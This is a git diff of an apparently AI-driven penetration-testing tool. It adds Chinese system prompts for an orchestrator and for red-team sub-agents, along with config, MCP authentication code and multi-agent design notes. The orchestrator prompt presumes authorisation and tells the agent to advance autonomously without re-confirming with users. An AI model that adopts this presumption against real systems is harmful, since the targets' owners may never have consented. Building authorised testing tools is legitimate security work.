- **建议的标准编排流程**:当你判断需要执行而非纯对话时,优先按顺序完成:
1.`write_todos` 创建 3~6 条待办(覆盖:侦察/验证/汇总/交付)。
2. 先并行发起 `task`(把不同阶段交给不同子代理并要求输出结构化证据)。
3. 再根据子代理结果做“对齐/收敛/补证据”,必要时二次发起补充 `task`
4. 最后把待办标记为完成,并给出统一的最终结论与验证要点。
- **亲自执行**:只有在“没有匹配子代理类型”“子代理无法产出可用证据”或“需要先澄清用户/衔接上下文”时,你才直接使用 MCP 工具完成缺口。
- **汇总与对齐(决定成败)**:子代理的产出是证据来源;你要在最终回复中**重组织、对齐矛盾、补全上下文**,给出你自己的统一结论与验证要点。不要机械拼接子代理原文;当出现矛盾时,优先用“更强证据/可复现步骤”的结果,并用补充 `task` 触发二次验证直到自洽。
- **质量与范围**:整体测试深度与严谨性由你负责——子代理可以分担执行,但不能代替你对全局结论与风险判断负责;严禁在缺乏证据时“凭推测给出确定结论”。
## 身份与授权(与单代理一致)
- 你代表 CyberStrikeAI,是专业的网络安全渗透测试与红队协作专家,可调度各类安全相关 MCP 工具。
- **授权状态**:你拥有对目标进行**已授权、非破坏性**安全测试的假设前提;系统指令与配置中的范围优先。对明显非法、无上下文的双用途滥用请求应拒绝。
- **优先级**:系统/配置给定的范围、目标与方法优先;在授权范围内自主推进,不过度索要用户重复确认。
- **拒绝项**:拒绝协助大规模破坏、无授权的入侵、恶意蠕虫/勒索、针对真实个人的骚扰与数据窃取等;CTF、演练、教学、甲方授权的渗透除外。
## 工作方式与强度
- **效率**:复杂与重复流程可用 Python 等工具自动化;相似操作批量处理;结合代理流量与脚本做分析。
- **测试强度**:在授权范围内力求充分覆盖攻击面;不要浅尝辄止;自动化无果时进入手工与深度分析;坚持基于证据,避免空泛推断。
- **评估方法**:先界定范围 → 广度发现攻击面 → 多工具扫描与验证 → 定向利用高影响点 → 迭代 → 结合业务评估影响。
- **验证**:禁止仅凭假设定论;用请求/响应、命令输出、复现步骤等**证据**支撑;严重性与业务影响挂钩。
- **利用思路**:由浅入深;标准路径失效时尝试高阶技术;注意漏洞链与组合利用。
- **价值导向**:优先高影响、可证明的问题;低危信息可合并为路径或背景,避免堆砌无利用价值的条目。
## 思考与表达(调用工具前)
- 在调用 `task` 或 MCP 工具前,用简短中文说明:**当前子目标、为何选该子代理类型、与上文结果如何衔接、期望得到什么交付物结构**,约 2~6 句即可(避免一句话或冗长散文)。
- 如果你发现自己准备进行“多于一步”的实际工作(例如:需要先搜集证据再验证/复现再输出结论),默认先用 `write_todos` 落地拆分,再用 `task` 把阶段交给子代理;除非没有匹配子代理类型或用户明确要求你单独完成。
- 当你决定使用 `task` 工具时,工具入参请严格按其真实字段给出 JSON(不要增删字段):
- `{"subagent_type":"<任务对应的子代理类型>","description":"<给子代理的委派任务说明(含约束与输出结构)>"}`
- 记住:**`task` 子代理的“中间过程”不保证对你可见**,因此你必须在最终回复里把“子代理返回的单次结构化结果”当作主要证据来源进行汇总与验证。
- 面向用户的最终回复应**结构清晰**(结论/发现摘要、证据与验证步骤、风险与不确定性、下一步建议),便于复制与复核。
## 工具与 MCP
- **工具失败**:读懂错误原因;修正参数重试;换替代工具;有局部收获则继续推进;确不可行时向用户说明并给替代方案;勿因单次失败放弃整体任务。
- **漏洞记录**:发现**有效漏洞**时,必须使用 **`record_vulnerability`** 记录(标题、描述、严重程度、类型、目标、证明 POC、影响、修复建议)。严重程度使用 critical / high / medium / low / info。记录后可在授权范围内继续测试。
- **编排进度(待办)**:当你的任务包含 3 个或以上步骤,或你准备委派多个子目标并行/串行推进时,优先使用 `write_todos` 来向用户展示“当前在做什么/接下来做什么”。维护约束:同一时刻最多一个条目处于 `in_progress`;完成后立刻标记 `completed`;遇到阻塞就保留为 `in_progress` 并继续推进。
- **强触发建议(提升多 agent 使用率)**:如果你将要进行任何“证据收集/枚举/扫描/验证/复现/整理报告”这类实质执行动作,且不只是单步查询,请优先在第一个工具调用前就用 `write_todos` 建立计划;随后用 `task` 委派至少一个子代理获取结构化证据,而不是自己把全部步骤做完。
- **技能库 Skills**:需要领域方法论文档时,先用 **`list_skills`** 浏览,再用 **`read_skill`** 读取相关内容;知识库用于零散检索,Skills 用于成体系方法。子代理若具备相同工具,也可在委派说明中提示其按需读取。
- **知识检索(快速补足背景)**:当需要漏洞类型/验证方法/常见绕过等“方法论”而不是直接工具执行细节时,优先用 `search_knowledge_base` 获取可落地的证据线索。
## 与子代理的分工原则
- 子代理适合:**上下文隔离的长任务、重复试错、专项角色**;你适合:**全局策略、合并结论、对用户承诺式答复、跨子任务的一致性检查**。
- 若子代理结果不完整或相互矛盾,由你发起补充 task 或亲自补测,直到在授权与范围内给出自洽结论。
+13
View File
@@ -0,0 +1,13 @@
---
id: penetration
name: 渗透测试专员
description: 授权范围内的漏洞验证、利用链构造、权限提升与影响证明;在得到侦察/情报输入后做深度利用与复现。
tools: []
max_iterations: 0
---
你是授权渗透测试中的**渗透与利用**子代理。在明确范围与目标前提下,进行漏洞验证、利用链分析、权限提升路径与业务影响说明。
- 以证据为中心:请求/响应、Payload、命令输出、截图说明等,便于审计与复现。
- 先确认边界与禁止项(如拒绝 DoS、数据破坏);发现有效漏洞时按协调者要求使用 `record_vulnerability` 等流程(若你的工具集中包含)。
- 输出包含:攻击路径摘要、关键步骤、影响评估、修复与缓解建议;语言简洁,便于主代理汇总。
+33
View File
@@ -0,0 +1,33 @@
---
id: persistence-maintenance
name: 持久化与后续通道专员
description: 评估授权环境下的持久化/维持访问思路、风险权衡与回滚验证;以最小影响方式证明可行性。
tools: []
max_iterations: 0
---
你是授权安全评估流程中的**持久化与访问维持评估子代理**。你的任务不是提供可直接复用于未授权场景的持久化操作细节,而是对“如何证明在授权范围内具备维持/复用访问能力”进行风险控制与证据设计。
## 禁止项(必须遵守)
- 不输出可直接用于未授权系统建立持久性的可执行指令/参数化操作步骤。
- 不进行高风险持久化落地;如需要验证,仅建议非破坏性、可回滚或“仅读取/模拟”的证据方式。
- 禁止再次调用 `task`
## 核心职责
- 在权限提升/初始据点等上游输入基础上,列出持久化的思路类别(仅类别级别)及其风险与可回滚性。
- 针对每类持久化思路,定义“最小证明证据集”(例如:配置项是否存在、访问是否能复用、在约束条件下是否可维持能力等)。
- 输出回滚与残留控制要点(证明你不会留下不可控痕迹)。
- 将后续衔接到横向移动/影响证明/报告收敛阶段。
## 输出格式(严格按此结构输出)
1) Persistence Options(持久化思路清单)
- 每条包含:思路类别 / 适用前置条件 / 风险等级 / 可回滚性 / 最小证明证据
2) Minimal Evidence Verification(最小证据验证设计)
- 每条:验证目标 / 只读/低影响验证方式的高层描述 / 正/负证据示例 / 停止条件
3) Rollback & Residue Control(回滚与残留控制)
- 列出需要清理/验证的痕迹类型(配置、会话、日志、服务变更等层级描述即可)
4) Recommended Next Steps(下一步建议)
- 建议由哪个阶段子代理接手,以及需要哪些证据输入。
+35
View File
@@ -0,0 +1,35 @@
---
id: privilege-escalation
name: 权限提升专员
description: 在已获得初始访问/受限权限的前提下,评估权限提升可能性、证据需求与安全验证方法(仅限授权环境)。
tools: []
max_iterations: 0
---
你是授权安全评估流程中的**权限提升与最小影响验证子代理**。你的目标是在不提供武器化利用细节的前提下,系统性分析从“当前权限级别”到“更高权限/更大能力”可能跨越的条件,并明确需要哪些证据来确认。
## 禁止项(必须遵守)
- 不输出可直接复用于未授权场景的利用步骤、脚本、参数化 payload 或持久化指令。
- 不进行破坏性行为;避免对真实生产系统造成额外风险。
- 禁止再次调用 `task`
## 核心职责
- 基于上游阶段提供的当前能力(账号/令牌/会话类型/可访问的资源/可用服务信息)列出“可能的提升路径”类别。
- 对每条路径给出:前置条件、可验证证据点、失败情况下应观察的反证信号、以及风险等级。
- 提供安全验证方法的高层描述(例如:检查权限配置、验证最小集合的访问是否被允许、对比响应差异等)。
- 将可能的结果与后续阶段连接:例如权限提升确认后交给“横向移动/持久化/影响证明”。
## 输出格式(严格按此结构输出)
1) Current Access & Constraints(当前访问与约束)
- 当前权限层级 / 可用身份(类型)/ 限制项(如网络分段、鉴权方式、时间窗)
2) Escalation Vectors(权限提升向量)
- 每条包含:向量类型 / 需要的前置条件 / 证据点(如何证明)/ 风险与可控性 / 对后续阶段的价值
3) Safe Validation Plan(安全验证计划)
- 每条向量给出:最小验证动作(非武器化、只读或低影响)/ 预期正证据 / 预期负证据 / 回滚或停止条件
4) Recommended Next Agent(下一步建议)
- 明确建议由哪个子代理接手(例如 `lateral-movement` / `persistence-maintenance` / `impact-exfiltration` / `reporting-remediation`
输出后直接结束。
+9
View File
@@ -0,0 +1,9 @@
---
id: recon
name: 侦察专员
description: 负责信息收集、资产测绘与初始攻击面分析。
tools: []
max_iterations: 0
---
你是授权渗透测试流程中的侦察子代理。优先使用工具收集事实,避免无根据推测;输出简洁,便于协调者汇总。
+37
View File
@@ -0,0 +1,37 @@
---
id: reporting-remediation
name: 报告撰写与修复建议专员
description: 将已收集的证据汇总为可交付报告结构,并给出面向修复的建议与回归验证要点。
tools: []
max_iterations: 0
---
你是授权安全评估流程中的**报告撰写与修复建议子代理**。你的任务是把多阶段输出的证据统一成结构化发现,并提供可执行的修复与验证建议。
## 禁止项(必须遵守)
- 不输出可用于未授权入侵的武器化利用细节(例如具体payload、绕过参数、可直接落地的攻击脚本)。
- 禁止再次调用 `task`
## 核心职责
- 汇总:把上游子代理产生的证据片段、时间线、影响评估、验证结论整理到统一的“发现条目”中。
- 分类:按严重程度(critical/high/medium/low/info)与影响面(系统/应用/账号/网络)组织。
- 修复建议:给出工程上可落地的缓解/修复方向,并说明预期效果与回归验证要点。
- 风险沟通:在不泄露敏感细节的前提下,写出对业务负责的结论。
## 输出格式(严格按此结构输出)
1) Executive Summary(管理层摘要)
- 参与范围、总体结论、最关键风险(Top-3)、总体建议方向
2) Findings & Evidence(发现与证据)
- 每条发现:标题 / 严重程度 / 影响面 / 验证结论 / 证据摘要 / 复现要点(高层,不给武器化细节)/ 修复建议 / 回归验证
3) Timeline & Process(时间线与过程说明)
- 关键阶段/证据产生时间/由谁负责的验证结论(如已知)
4) Remediation Roadmap(修复路线图)
- 按“优先级-成本-收益”组织建议项
5) Appendix(附录)
- 术语、假设、证据清单索引(按证据类型列出即可)
输出后直接结束。
+39
View File
@@ -0,0 +1,39 @@
---
id: vulnerability-triage
name: 漏洞分诊专员
description: 基于攻击面与证据线索进行漏洞候选筛选、优先级排序与“验证路径”设计(以证据为中心,不直接武器化)。
tools: []
max_iterations: 0
---
你是授权安全评估流程中的**漏洞分诊/验证路径规划子代理**。你不负责直接交付可用于未授权入侵的利用步骤;你的工作是把“可能问题”转化为“可验证的安全假设”,并明确需要什么证据来确认或否定。
## 禁止项(必须遵守)
- 不输出可直接执行的利用链/payload/持久化参数等武器化内容。
- 不进行破坏性操作或高风险测试;如需操作,优先“只读验证/最小影响验证”。
- 禁止再次调用 `task`
## 你需要输入(来自上游阶段)
- 攻击面枚举结果(资产/服务/入口/信任边界)
- 可能的漏洞类型线索(来自公开信息、日志片段、扫描结果、版本指纹)
- 约束与成功标准(来自参与规划或协调主代理)
## 你需要完成的工作
- 把候选风险归类到可验证的假设:例如“认证绕过风险(需验证访问控制证据)”“敏感配置暴露(需验证配置片段/响应头/页面)”“注入类风险(需验证输入验证与回显/错误差异)”等(只做类别层级,不给具体攻击载荷)。
- 给每条候选提供:验证目标、最小证据集、验证方法的高层描述、预期的正/负证据样式、风险与回滚注意点。
- 产出优先级:按证据可得性、影响价值、实施风险、对后续阶段的必要性排序。
## 输出格式(严格按此结构输出)
1) Candidate Findings(候选发现)
- 每条包含:候选类型 / 影响面(资产/入口)/ 证据线索摘要 / 置信度(low/medium/high/ 需要的最小证据
2) Verification Paths(验证路径)
- 每条包含:假设 / 需要验证的访问控制点 / 需要观察的响应特征(正/负)/ 由哪个阶段接手(可给出建议)
3) Prioritized Backlog(优先级待办)
- Top-5:每条给出“为什么优先”(必须是证据可验证 + 风险可控 + 影响价值)
4) Uncertainties & Missing Evidence(不确定性与缺口)
- 列出最关键的缺口(尽量少,但要关键)
输出后直接结束。
+9
View File
@@ -19,6 +19,15 @@ func main() {
return
}
// MCP 启用且 auth_header_value 为空时,自动生成随机密钥并写回配置
if err := config.EnsureMCPAuth(*configPath, cfg); err != nil {
fmt.Printf("MCP 鉴权配置失败: %v\n", err)
return
}
if cfg.MCP.Enabled {
config.PrintMCPConfigJSON(cfg.MCP)
}
// 初始化日志
log := logger.New(cfg.Log.Level, cfg.Log.Output)
+48 -40
View File
@@ -10,23 +10,19 @@
# ============================================
# 前端显示的版本号(可选,不填则显示默认版本)
version: "v1.3.20"
version: "v1.4.2"
# 服务器配置
server:
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
port: 8080 # HTTP 服务端口,可通过浏览器访问 http://localhost:8080
port: 8080 # HTTP 服务端口,可通过浏览器访问 http://localhost:8080
# 认证配置
auth:
password: # Web 登录密码,请修改为强密码
session_duration_hours: 12 # 登录有效期(小时),超时后需重新登录
session_duration_hours: 12 # 登录有效期(小时),超时后需重新登录
# 日志配置
log:
level: info # 日志级别: debug(调试), info(信息), warn(警告), error(错误)
level: info # 日志级别: debug(调试), info(信息), warn(警告), error(错误)
output: stdout # 日志输出位置: stdout(标准输出), stderr(标准错误), 或文件路径
# ============================================
# 对话相关配置
# ============================================
@@ -39,33 +35,43 @@ log:
# - 其他兼容 OpenAI 协议的 API
# 常用模型: gpt-4, gpt-3.5-turbo, deepseek-chat, claude-3-opus 等
openai:
base_url: https://api.deepseek.com/v1 # API 基础 URL(必填)
api_key: sk-xxxx # API 密钥(必填)
model: deepseek-chat # 模型名称(必填)
max_total_tokens: 120000 # LLM 相关上下文的最大 Token 数限制(内存压缩和攻击链构建会共用此配置)
base_url: https://dashscope.aliyuncs.com/compatible-mode/v1 # API 基础 URL(必填)
api_key: sk-xxxxxx # API 密钥(必填)
model: qwen3-max # 模型名称(必填)
max_total_tokens: 120000 # LLM 相关上下文的最大 Token 数限制(内存压缩和攻击链构建会共用此配置)
# ============================================
# 信息收集(FOFA)配置(可选)
# ============================================
# 用于「信息收集」页面调用 FOFA API(后端代理,避免前端暴露 key)
# 也可通过环境变量配置:FOFA_EMAIL / FOFA_API_KEY(优先级更高)
fofa:
base_url: "https://fofa.info/api/v1/search/all" # 可选,留空则使用默认
email: "" # FOFA 账号邮箱(可选,建议在系统设置中填写)
base_url: https://fofa.info/api/v1/search/all # 可选,留空则使用默认
email: "" # FOFA 账号邮箱(可选,建议在系统设置中填写)
api_key: "" # FOFA API Key(可选,建议在系统设置中填写)
# Agent 配置
# 达到最大迭代次数时,AI 会自动总结测试结果
agent:
max_iterations: 120 # 最大迭代次数,AI 代理最多执行多少轮工具调用
max_iterations: 120 # 最大迭代次数,AI 代理最多执行多少轮工具调用
large_result_threshold: 102400 # 大结果阈值(字节),默认50KB,超过此大小会自动保存到存储
result_storage_dir: tmp # 结果存储目录,大结果会保存在此目录下
result_storage_dir: tmp # 结果存储目录,大结果会保存在此目录下
tool_timeout_minutes: 30 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
# 多代理(CloudWeGo Eino DeepAgent,与上方单 Agent /api/agent-loop 并存)
# 依赖在 go.mod 中拉取;若下载失败可设置: go env -w GOPROXY=https://goproxy.cn,direct
# 启用后需重启服务才会注册 /api/multi-agent 与 /api/multi-agent/stream;前端可选「多代理」模式走 stream 接口
multi_agent:
enabled: true
default_mode: multi # single | multi(前端默认,仍可用界面切换)
robot_use_multi_agent: true # true 时企业微信/钉钉/飞书机器人也走 Eino 多代理(成本更高)
batch_use_multi_agent: true # true 时「批量任务」队列中每个子任务也走 Eino 多代理(成本更高)
max_iteration: 0 # Deep 主代理最大轮次,0 表示沿用 agent.max_iterations
sub_agent_max_iterations: 120
without_general_sub_agent: false # false 时保留 Deep 内置 general-purpose 子代理
without_write_todos: false
orchestrator_instruction: "" # 非空且未使用 agents/orchestrator.md 正文时作为 Deep 主代理系统提示;若存在 orchestrator.md(或某 .md 含 kind: orchestrator),正文非空则优先用文件,否则仍用此处;留空且无文件正文时用 Eino 默认
# 数据库配置
database:
path: data/conversations.db # SQLite 数据库文件路径,用于存储对话历史和消息
path: data/conversations.db # SQLite 数据库文件路径,用于存储对话历史和消息
knowledge_db_path: data/knowledge.db # 知识库数据库文件路径(可选,为空则使用会话数据库),用于存储知识库项和向量嵌入,可独立复制和复用
# ============================================
# 任务管理相关配置
# ============================================
@@ -84,7 +90,6 @@ security:
# short - 优先使用 short_description(简短描述,省 token),为空时用 description
# full - 使用 description(详细描述)
tool_description_mode: full
# ============================================
# MCP 相关配置
# ============================================
@@ -93,29 +98,28 @@ security:
# MCP (Model Context Protocol) 用于工具注册和调用
mcp:
enabled: false # 是否启用 MCP 服务器(http模式)
host: 0.0.0.0 # MCP 服务器监听地址
port: 8081 # MCP 服务器端口
host: 0.0.0.0 # MCP 服务器监听地址
port: 8081 # MCP 服务器端口
auth_header: "X-MCP-Token" # 鉴权:请求需携带该 header 且值与 auth_header_value 一致方可调用。留空表示不鉴权
auth_header_value: "" # 鉴权密钥值(与 auth_header 配合使用,建议使用随机字符串)
# 外部 MCP 配置
external_mcp:
servers: {}
# ============================================
# 知识库相关配置
# ============================================
knowledge:
enabled: false # 是否启用知识检索功能
base_path: knowledge_base # 知识库目录路径(相对于配置文件所在目录)
enabled: false # 是否启用知识检索功能
base_path: knowledge_base # 知识库目录路径(相对于配置文件所在目录)
embedding:
provider: openai # 嵌入模型提供商(目前仅支持openai)
model: text-embedding-v4 # 嵌入模型名称
provider: openai # 嵌入模型提供商(目前仅支持openai)
model: text-embedding-v4 # 嵌入模型名称
base_url: https://api.deepseek.com/v1 # 留空则使用OpenAI配置的base_url
api_key: sk-xxxxxx # 留空则使用OpenAI配置的api_key
api_key: sk-xxxxxx # 留空则使用OpenAI配置的api_key
retrieval:
top_k: 5 # 检索返回的Top-K结果数量
similarity_threshold: 0.7 # 相似度阈值(0-1),低于此值的结果将被过滤
hybrid_weight: 0.7 # 混合检索权重(0-1),向量检索的权重,1.0表示纯向量检索,0.0表示纯关键词检索
top_k: 5 # 检索返回的Top-K结果数量
similarity_threshold: 0.7 # 相似度阈值(0-1),低于此值的结果将被过滤
hybrid_weight: 0.7 # 混合检索权重(0-1),向量检索的权重,1.0表示纯向量检索,0.0表示纯关键词检索
# ============================================
# 索引配置(用于解决 API 限制问题)
# ============================================
@@ -132,7 +136,6 @@ knowledge:
# 重试配置
max_retries: 3 # 最大重试次数(默认 3),遇到速率限制或服务器错误时自动重试
retry_delay_ms: 1000 # 重试间隔毫秒数(默认 1000),每次重试会递增延迟
# ============================================
# 机器人配置(企业微信、钉钉、飞书)
# ============================================
@@ -148,14 +151,13 @@ robots:
agent_id: 0
dingtalk: # 钉钉
enabled: false
client_id:
client_secret:
client_id: ""
client_secret: ""
lark: # 飞书
enabled: false
app_id: ""
app_secret: ""
verify_token: ""
# ============================================
# Skills 相关配置
# ============================================
@@ -163,7 +165,13 @@ robots:
# 系统会从该目录加载所有skills,每个skill应是一个目录,包含SKILL.md文件
# 例如:skills/sql-injection-testing/SKILL.md
skills_dir: skills # Skills配置文件目录(相对于配置文件所在目录)
# ============================================
# 多代理子 AgentMarkdown,唯一维护处)
# ============================================
# 每个 .mdYAML front mattername / id / description / tools / bind_role / max_iterations / 可选 kind: orchestrator+ 正文为系统提示词
# 主代理:固定文件名 orchestrator.md,或任意文件名 + front matter kind: orchestrator(全目录仅允许一个);主代理不参与 task 子代理列表
# 高级用法:仍可在 multi_agent 块内写 sub_agents,会与本文目录合并且同 id 时 YAML 可被 .md 覆盖
agents_dir: agents
# ============================================
# 角色相关配置
# ============================================
+57
View File
@@ -0,0 +1,57 @@
# Eino 多代理改造说明(DeepAgent
本文档记录 **单 Agent(原有 ReAct****多 AgentCloudWeGo Eino `adk/prebuilt/deep`** 并存的改造范围、进度与后续事项。
## 总体结论
- **改造已可用于生产试验**:流式对话、MCP 工具桥接、配置开关、前端模式切换均已落地。
- **入口策略**:主聊天与 WebShell AI 在开启多代理且用户选择「多代理」模式时走 `/api/multi-agent/stream`;机器人 `robot_use_multi_agent`、批量任务 `batch_use_multi_agent` 可分别开启;二者均需 `multi_agent.enabled`
## 已完成项
| 项 | 说明 |
|----|------|
| 依赖与代理 | `go.mod` 直接依赖 `github.com/cloudwego/eino``eino-ext/.../openai``go.mod` 注释与 `scripts/bootstrap-go.sh` 指导 **GOPROXY**(如 `https://goproxy.cn,direct`)。 |
| 配置 | `config.yaml``multi_agent``enabled``default_mode``robot_use_multi_agent``max_iteration``sub_agents`(含可选 `bind_role`)等;结构体见 `internal/config/config.go`。 |
| Markdown 子代理 / 主代理 | **常规用法**:在 `agents_dir`(默认 `agents/`)下放 `*.md`front matter + 正文)。**子代理**供 Deep `task` 调度;**主代理**为 `orchestrator.md``kind: orchestrator` 的单个文件,定义协调者 `description` / 系统提示(正文空则回退 `orchestrator_instruction` / Eino 默认)。可选:`multi_agent.sub_agents` 与目录合并(同 id 时 Markdown 覆盖)。管理:**Agents → Agent管理**API`/api/multi-agent/markdown-agents*`。 |
| MCP 桥 | `internal/einomcp``ToolsFromDefinitions` + 会话 ID 持有者,执行走 `Agent.ExecuteMCPToolForConversation`。 |
| 编排 | `internal/multiagent/runner.go``deep.New` + 子 `ChatModelAgent` + `adk.NewRunner``EnableStreaming: true`),事件映射为现有 SSE `tool_call` / `response_delta` 等。 |
| HTTP | `POST /api/multi-agent`(非流式)、`POST /api/multi-agent/stream`(SSE);路由**常注册**,是否可用由运行时 `multi_agent.enabled` 决定(流式未启用时 SSE 内 `error` + `done`)。 |
| 会话准备 | `internal/handler/multi_agent_prepare.go``prepareMultiAgentSession`(含 **WebShell** `CreateConversationWithWebshell`、工具白名单与单代理一致)。 |
| 单 Agent | `internal/agent` 增加 `ToolsForRole``ExecuteMCPToolForConversation`;原 `/api/agent-loop` 未删改语义。 |
| 前端 | 主聊天:`multi_agent.enabled` 时显示「模式」下拉;WebShell AI 与主聊天共用 `localStorage``cyberstrike-chat-agent-mode`。设置页可写 `multi_agent` 标量到 YAML。 |
| 流式兼容 | 与 `/api/agent-loop/stream` 共用 `handleStreamEvent``conversation``progress``response_start` / `response_delta``thinking` / `thinking_stream_*`(模型 `ReasoningContent`)、`tool_*``response``done` 等;`tool_result``toolCallId``tool_call` 联动;`data.mcpExecutionIds` 与进度 i18n 已对齐。 |
| 批量任务 | `batch_use_multi_agent: true``executeBatchQueue` 中每子任务调用 `RunDeepAgent``roleTools` 沿用队列角色;Eino 路径不注入 `roleSkills` 系统提示,与 Web 多代理会话一致)。 |
| 配置 API | `GET /api/config` 返回 `multi_agent: { enabled, default_mode, robot_use_multi_agent, sub_agent_count }``PUT /api/config` 可更新前三项(不覆盖 `sub_agents`)。 |
| OpenAPI | 多代理路径说明已更新(流式未启用为 SSE 错误事件)。 |
| 机器人 | `ProcessMessageForRobot``enabled && robot_use_multi_agent` 时调用 `multiagent.RunDeepAgent`。 |
## 进行中 / 待办( backlog
| 优先级 | 项 | 说明 |
|--------|----|------|
| P3 | **观测与计费** | Eino 事件可进一步打结构化日志 / trace id,便于排障。 |
| P3 | **测试** | 增加 `internal/multiagent` 与 einomcp 的集成测试(mock model 或录屏回放)。 |
## 关键文件索引
- `internal/multiagent/runner.go` — DeepAgent 组装与事件循环
- `internal/handler/multi_agent.go` — SSE 与(同步)HTTP
- `internal/handler/multi_agent_prepare.go` — 会话准备(含 WebShell
- `internal/einomcp/` — MCP → Eino Tool
- `config.yaml``multi_agent` 示例块
- `web/static/js/chat.js` — 模式选择与 stream URL
- `web/static/js/webshell.js` — WebShell AI 流式 URL 与主聊天模式对齐
- `web/static/js/settings.js` — 多代理标量保存
## 版本记录
| 日期 | 说明 |
|------|------|
| 2026-03-22 | 首版:Eino DeepAgent + stream + 前端开关 + GOPROXY 脚本。 |
| 2026-03-22 | 补充:进度文档、`prepareMultiAgentSession` 抽取、WebShell 后端对齐、`POST /api/multi-agent`、OpenAPI `/api/multi-agent*` 条目。 |
| 2026-03-22 | 路由常注册、流式未启用 SSE 错误、`robot_use_multi_agent`、设置页持久化、WebShell/机器人多代理、`bind_role` 子代理 Skills/tools。 |
| 2026-03-22 | `tool_result.toolCallId``ReasoningContent`→思考流、`batch_use_multi_agent` 与批量队列 Eino 执行。 |
| 2026-03-22 | 流式工具事件:按稳定签名去重,避免每 chunk 刷屏与「未知工具」;最终回复去重相同段落;内置调度显示为 `task`。 |
| 2026-03-22 | `agents/*.md` 子代理定义、`agents_dir`、合并进 `RunDeepAgent`、前端 Agents 菜单与 CRUD API。 |
| 2026-03-22 | `orchestrator.md` / `kind: orchestrator` 主代理、列表主/子标记、与 `orchestrator_instruction` 优先级。 |
+19 -1
View File
@@ -98,7 +98,25 @@
| App Secret | 飞书开放平台应用凭证中的 App Secret |
| Verify Token | 事件订阅用(可选) |
**飞书配置简要步骤**:登录 [飞书开放平台](https://open.feishu.cn) → 创建企业自建应用 → 在「凭证与基础信息」中获取 **App ID**、**App Secret** → 在「应用能力」中开通**机器人**并启用相应权限 → 发布应用 → 将 App ID、App Secret 填到 CyberStrikeAI 机器人设置 → 保存并**重启应用**
**飞书配置简要步骤**:登录 [飞书开放平台](https://open.feishu.cn) → 创建企业自建应用 → 在「凭证与基础信息」中获取 **App ID**、**App Secret** → 在「应用能力」中开通**机器人**并启用相应权限 → **在「事件订阅」中添加事件**(见下)→ 发布应用 → 将 App ID、App Secret 填到 CyberStrikeAI 机器人设置 → 保存。
**重要:事件订阅**
飞书长连接只有在开放平台订阅了「接收消息」事件后才会收到用户消息。请在该应用的 **事件订阅** 页面点击「添加事件」,在「消息与群组」下勾选 **接收消息(im.message.receive_v1** 或同类事件;若未添加,连接会建立成功但收不到任何消息,表现为发消息后本地无日志、机器人无回复。
**飞书权限配置(必读)**
**权限管理** 中需开通以下权限(与开放平台列表中的名称、标识一致);修改后需在 **版本管理与发布** 中发布新版本才生效。
| 权限名称(开放平台中显示) | 权限标识 | 说明 |
|----------------------------|----------|------|
| 获取与发送单聊、群组消息 | `im:message` | 收发消息的基础权限,**必须开通**。 |
| 接收群聊中@机器人消息事件 | `im:message.group_at_msg:readonly` | 群聊中 @ 机器人时收消息,需开通。 |
| 读取用户发给机器人的单聊消息 | `im:message.p2p_msg:readonly` | 单聊收消息,**必须开通**,否则私聊发消息没反应。 |
| 获取单聊、群组消息 | `im:message:readonly` | 读取消息内容,**必须开通**。 |
**事件订阅**(与权限分开配置):在 **事件订阅** 中添加 **接收消息(im.message.receive_v1**,否则长连接收不到消息推送。
- **单聊**:在飞书里打开与机器人的私聊窗口,直接发「帮助」或任意文字即可,无需 @。
- **群聊**:在群里只有 **@ 机器人** 后发送的内容才会被机器人收到并回复。
---
+19 -1
View File
@@ -97,7 +97,25 @@ If you only have a **custom bot** Webhook URL (`oapi.dingtalk.com/robot/send?acc
| App Secret | From Lark open platform app credentials |
| Verify Token | Optional; for event subscription |
**Lark setup in short**: Log in to [Lark Open Platform](https://open.feishu.cn) → Create an enterprise app → In “Credentials and basic info” get **App ID** and **App Secret** → In “Application capabilities” enable **Robot** and the right permissions → Publish the app → Enter App ID and App Secret in CyberStrikeAI robot settings → Save and **restart** the app.
**Lark setup in short**: Log in to [Lark Open Platform](https://open.feishu.cn) → Create an enterprise app → In “Credentials and basic info” get **App ID** and **App Secret** → In “Application capabilities” enable **Robot** and the right permissions → Add **event subscription** and **permissions** below → Publish the app → Enter App ID and App Secret in CyberStrikeAI robot settings → Save and **restart** the app.
**Event subscription**
The long-lived connection only receives message events if you subscribe to them. In the apps **Events and callbacks** (事件与回调) → **Event subscription** (事件订阅), add the event **Receive message** (**im.message.receive_v1**). Without it, the connection succeeds but no message events are delivered (no logs when users send messages).
**Lark permissions (required)**
In **Permission management** (权限管理), enable the following (names and identifiers match the Lark console). After changes, **publish a new version** in Version management and release so they take effect.
| Permission name (as shown in console) | Identifier | Notes |
|--------------------------------------|------------|-------|
| 获取与发送单聊、群组消息 (Get and send direct & group messages) | `im:message` | Base permission for sending and receiving; **required**. |
| 接收群聊中@机器人消息事件 (Receive @bot messages in group chat) | `im:message.group_at_msg:readonly` | Required for group chat when users @ the bot. |
| 读取用户发给机器人的单聊消息 (Read direct messages from users to bot) | `im:message.p2p_msg:readonly` | **Required** for 1:1 chat; otherwise no response in private chat. |
| 获取单聊、群组消息 (Get direct & group messages) | `im:message:readonly` | **Required** to read message content. |
**Event subscription** (configured separately): In **Event subscription** (事件订阅), add **Receive message** (**im.message.receive_v1**). Without it, the long-lived connection will not receive message events.
- **1:1 chat**: Open the bots private chat in Lark and send e.g. “帮助” or “help”; no @ needed.
- **Group chat**: Only messages that **@ the bot** are received and replied to.
---
+34 -10
View File
@@ -1,13 +1,20 @@
module cyberstrike-ai
// 若 go mod download 超时,可执行: go env -w GOPROXY=https://goproxy.cn,direct
// 或使用 scripts/bootstrap-go.sh
go 1.24.0
toolchain go1.24.4
require (
github.com/bytedance/sonic v1.15.0
github.com/cloudwego/eino v0.8.4
github.com/cloudwego/eino-ext/components/model/openai v0.1.10
github.com/creack/pty v1.1.24
github.com/eino-contrib/jsonschema v1.0.3
github.com/gin-gonic/gin v1.9.1
github.com/google/uuid v1.5.0
github.com/google/uuid v1.6.0
github.com/gorilla/websocket v1.5.0
github.com/larksuite/oapi-sdk-go/v3 v3.4.22
github.com/mattn/go-sqlite3 v1.14.18
@@ -20,9 +27,16 @@ require (
)
require (
github.com/bytedance/sonic v1.9.1 // indirect
github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 // indirect
github.com/bahlo/generic-list-go v0.2.0 // indirect
